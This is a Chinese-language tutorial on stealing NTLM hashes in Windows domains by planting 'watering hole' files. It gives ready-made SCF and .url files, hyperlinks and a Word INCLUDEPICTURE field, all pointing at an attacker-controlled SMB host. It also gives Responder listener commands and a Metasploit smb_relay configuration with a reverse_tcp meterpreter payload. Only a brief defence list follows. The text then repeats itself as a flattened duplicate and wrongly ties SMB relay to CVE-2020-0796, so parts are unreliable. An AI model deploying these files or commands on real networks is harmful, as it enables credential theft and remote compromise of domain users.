浅谈域环境下布置水坑实现hash窃取
字数 1401 2025-08-05 08:19:51

域环境下利用水坑攻击窃取NTLM Hash的详细技术指南

前言

在内网渗透过程中,当无法找到横向移动或跨域的机器时,水坑攻击成为获取Hash的有效手段。本文详细讲解在域环境下布置水坑实现Hash窃取的技术原理和多种实现方法。

基础知识

本地认证机制

Windows中的密码Hash称为NTLM Hash,NTLM网络认证协议以NTLM Hash作为根本凭证进行认证。本地认证过程如下:

  1. 用户输入密码(如"admin")
  2. 转换为十六进制:61646d696e
  3. 进行Unicode转换:610064006d0069006e00
  4. 调用MD4加密算法:209c6174da490caeb422f3fa5a7ae634

认证流程:
winlogon.exe → 接收用户输入 → lsass.exe → (认证)

Hash传递与窃取原理

Hash传递的条件:

  • 抓取到Net-NTLM hash字段
  • 或获取hash对应的用户名

Hash存储位置:

  1. SAM数据库
  2. Lsass进程
  3. 网络传输过程

重要区别

  • Net-NTLM hash ≠ NTLM hash
  • Net-NTLM hash是客户端第二次发送给服务端的response字段

水坑攻击方法

1. SCF文件攻击

SCF文件:Windows Explorer Command文件,可执行有限操作(如显示桌面或打开资源管理器)。

UNC路径:通用命名规则,格式为\\server\share

攻击步骤

  1. 创建SCF文件:
[Shell]
Command=2
IconFile=\\192.168.10.11\share\pentestlab.ico
[Taskbar]
Command=ToggleDesktop
  1. 将SCF文件设置为共享

  2. 使用Responder监听:

responder -I eth0

特点:无需用户点击,只需访问即可触发认证。

2. SMB中继攻击

结合SCF攻击与SMB中继技术(CVE-2020-0796等)。

NTLM v2认证流程

  1. 客户端发送登录请求(密码hash一次)
  2. 发送用户名
  3. 服务器返回16字节Challenge
  4. 客户端用密码hash加密Challenge生成Response
  5. 发送Response
  6. 服务器验证

攻击实现

使用Metasploit模块:

use exploit/windows/smb/smb_relay
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.10.11
run

3. 超链接攻击

创建指向不存在资源的超链接:

\\192.168.10.11\qwe.exe

监听:

responder -I eth0

4. URL文件攻击

创建.url文件:

[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\\192.168.10.11\qwe.icon
IconIndex=1

缺点:会触发UAC提示,较容易被发现。

5. RTF文件攻击

RTF(富文本格式)文件可包含远程资源引用。

创建.rtf文件包含远程引用(需Word打开)。

6. IncludePicture攻击

利用Word的IncludePicture功能:

  1. 按Ctrl+F9插入域代码
  2. 添加不存在地址:{ INCLUDEPICTURE "\\\\192.168.10.11\\qwe" }
  3. 保存为XML文件并诱使目标打开

工具使用

Responder

功能:

  • 监听LLMNR和NetBIOS请求
  • 内置多种认证服务器(SMB、MSSQL、HTTP等)
  • 收集明文凭据
  • Multi-Relay功能执行命令

基本用法:

responder -I eth0

防御措施

  1. 禁用LLMNR和NetBIOS
  2. 启用SMB签名
  3. 限制NTLM使用
  4. 监控异常网络认证
  5. 用户安全意识培训

总结

本文详细介绍了六种在域环境下窃取NTLM Hash的水坑攻击技术,从基本原理到具体实现步骤,涵盖了SCF文件、SMB中继、超链接、URL文件、RTF文件和IncludePicture等多种方法。理解这些技术有助于蓝队更好地防御此类攻击。

域环境下利用水坑攻击窃取NTLM Hash的详细技术指南 前言 在内网渗透过程中,当无法找到横向移动或跨域的机器时,水坑攻击成为获取Hash的有效手段。本文详细讲解在域环境下布置水坑实现Hash窃取的技术原理和多种实现方法。 基础知识 本地认证机制 Windows中的密码Hash称为NTLM Hash,NTLM网络认证协议以NTLM Hash作为根本凭证进行认证。本地认证过程如下: 用户输入密码(如"admin") 转换为十六进制: 61646d696e 进行Unicode转换: 610064006d0069006e00 调用MD4加密算法: 209c6174da490caeb422f3fa5a7ae634 认证流程: winlogon.exe → 接收用户输入 → lsass.exe → (认证) Hash传递与窃取原理 Hash传递的条件: 抓取到Net-NTLM hash字段 或获取hash对应的用户名 Hash存储位置: SAM数据库 Lsass进程 网络传输过程 重要区别 : Net-NTLM hash ≠ NTLM hash Net-NTLM hash是客户端第二次发送给服务端的response字段 水坑攻击方法 1. SCF文件攻击 SCF文件 :Windows Explorer Command文件,可执行有限操作(如显示桌面或打开资源管理器)。 UNC路径 :通用命名规则,格式为 \\server\share 攻击步骤 : 创建SCF文件: 将SCF文件设置为共享 使用Responder监听: 特点 :无需用户点击,只需访问即可触发认证。 2. SMB中继攻击 结合SCF攻击与SMB中继技术(CVE-2020-0796等)。 NTLM v2认证流程 : 客户端发送登录请求(密码hash一次) 发送用户名 服务器返回16字节Challenge 客户端用密码hash加密Challenge生成Response 发送Response 服务器验证 攻击实现 : 使用Metasploit模块: 3. 超链接攻击 创建指向不存在资源的超链接: 监听: 4. URL文件攻击 创建 .url 文件: 缺点 :会触发UAC提示,较容易被发现。 5. RTF文件攻击 RTF(富文本格式)文件可包含远程资源引用。 创建 .rtf 文件包含远程引用(需Word打开)。 6. IncludePicture攻击 利用Word的IncludePicture功能: 按Ctrl+F9插入域代码 添加不存在地址: { INCLUDEPICTURE "\\\\192.168.10.11\\qwe" } 保存为XML文件并诱使目标打开 工具使用 Responder 功能: 监听LLMNR和NetBIOS请求 内置多种认证服务器(SMB、MSSQL、HTTP等) 收集明文凭据 Multi-Relay功能执行命令 基本用法: 防御措施 禁用LLMNR和NetBIOS 启用SMB签名 限制NTLM使用 监控异常网络认证 用户安全意识培训 总结 本文详细介绍了六种在域环境下窃取NTLM Hash的水坑攻击技术,从基本原理到具体实现步骤,涵盖了SCF文件、SMB中继、超链接、URL文件、RTF文件和IncludePicture等多种方法。理解这些技术有助于蓝队更好地防御此类攻击。